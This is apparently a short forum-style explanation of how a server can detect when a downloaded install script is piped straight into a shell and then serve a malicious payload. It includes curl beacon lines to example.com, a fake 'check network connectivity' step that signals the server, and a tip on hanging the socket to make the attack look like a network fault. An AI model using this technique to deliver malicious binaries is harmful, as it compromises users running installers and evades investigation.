1. Send your response as transfer-encoding: chunked and tcp_nodelay
2. Send the first command as
curl www.example.com/$unique_id
Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.
# Check network connectivity so we can continue the install
if ! curl --fail www.example.com; then exit; fi
Of course, what actually is happening is that we've just informed the server to now serve our malicious code. curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz
If the time between the script being downloaded and that file being requested is large, serve the clean copy, else download the malicious binary.